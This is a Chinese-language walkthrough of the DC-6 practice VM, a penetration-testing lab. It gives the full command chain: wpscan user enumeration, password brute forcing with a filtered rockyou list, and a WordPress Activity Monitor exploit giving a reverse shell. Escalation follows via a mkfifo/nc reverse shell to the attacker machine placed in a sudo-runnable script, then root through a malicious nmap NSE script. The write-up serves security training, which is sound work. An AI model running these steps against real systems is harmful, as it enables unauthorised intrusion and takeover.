一、实验环境
- 靶机:ip暂未知
- 攻击机kali:192.168.1.100
二、实验过程
1.主机发现
nma扫描,发现靶机192.168.1.149
2.端口扫描
nmap -sVC -p- 192.168.1.149
开放22、80端口
访问80端口会重定向到http://wordy/
所以在kali攻击机和宿主机host文件添加该域名,否则无法打开网页
3.访问网页
是一个wordpress网站
4.扫描用户
使用wpscan
wpscan --url http://wordy/ -e
1)第一次运行,更新漏洞数据库的时间会很长。如果报超时错误,可更换最新版的Kali Linux来运行此命令。
2)如果报此错误:Scan Aborted: no implicit conversion of nil into Array,
则需要更新一下gem:
root@kali:~# gem update cms_scanner
更新成功后再扫描。
在最后可以看到几个用户名
5.爆破用户密码
保存这些用户名
根据官网提示
然后用特定命令用kali自带字典构造字典,可以节省你几年时间
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
开始爆破
wpscan --url http://wordy/ -U users.txt -P passwords.txt
发现破解出来了
登陆后台http://wordy/wp-admin/
这是个普通用户,没法写shell
6.通过搜索activity monitor发现漏洞利用
cp /usr/share/exploitdb/exploits/php/webapps/45274.html dc6.html
vi dc6.html
修改网站域名,反弹IP,端口,注意nc命令的要改正确
用浏览器打开dc6.html
得到监听
用python调用本地的shell,打开一个新的终端,命令:
python -c 'import pty;pty.spawn("/bin/bash")'
7.提权
7.1信息收集
看到backups.sh文件可运行,但www-data没有在devs组中,故修改权限
cat /etc/group
...
devs:x:1005:jens,graham
在mark目录下stuff有things-to-do.txt文件记录了graham用户的密码,而graham用户正是devs组的用户
Add new user: graham - GSo7isUM1D4 - done
ssh连接成功
7.2查看sudo可执行哪些命令,发现正是backups.sh
graham@dc-6:~$ sudo -l
Matching Defaults entries for graham on dc-6:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binUser graham may run the following commands on dc-6:
(jens) NOPASSWD: /home/jens/backups.sh
修改backups.sh文件,写入
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.100 1234 >/tmp/f
在kali机开监听
靶机执行
sudo -u jens /home/jens/backups.sh
获得shell
7.3sudo -l查看哪些可直接执行的命令,发现nmap可以,且为root权限
于是,先写一个nmap插件nse:
echo 'os.execute("/bin/sh")' > fuck_root.nse
nmap加载插件
sudo nmap --script=/home/jens/fuck_root.nse
提权成功
三、实验总结
1.对wordpress框架的漏洞有所了解,wpscan需掌握使用,这个测试的作者对字典使用有所提示
- wpscan --url http://wordy/ -e
- wpscan --url http://wordy/ -U users.txt -P passwords.txt
2.wordpress cms的activity monitor有漏洞通过searchsploit进一步来利用
3.sudo -l对可直接执行命令及其权限的查看
4.nmap加载插件命令nmap --script=/home/jens/fuck_root.nse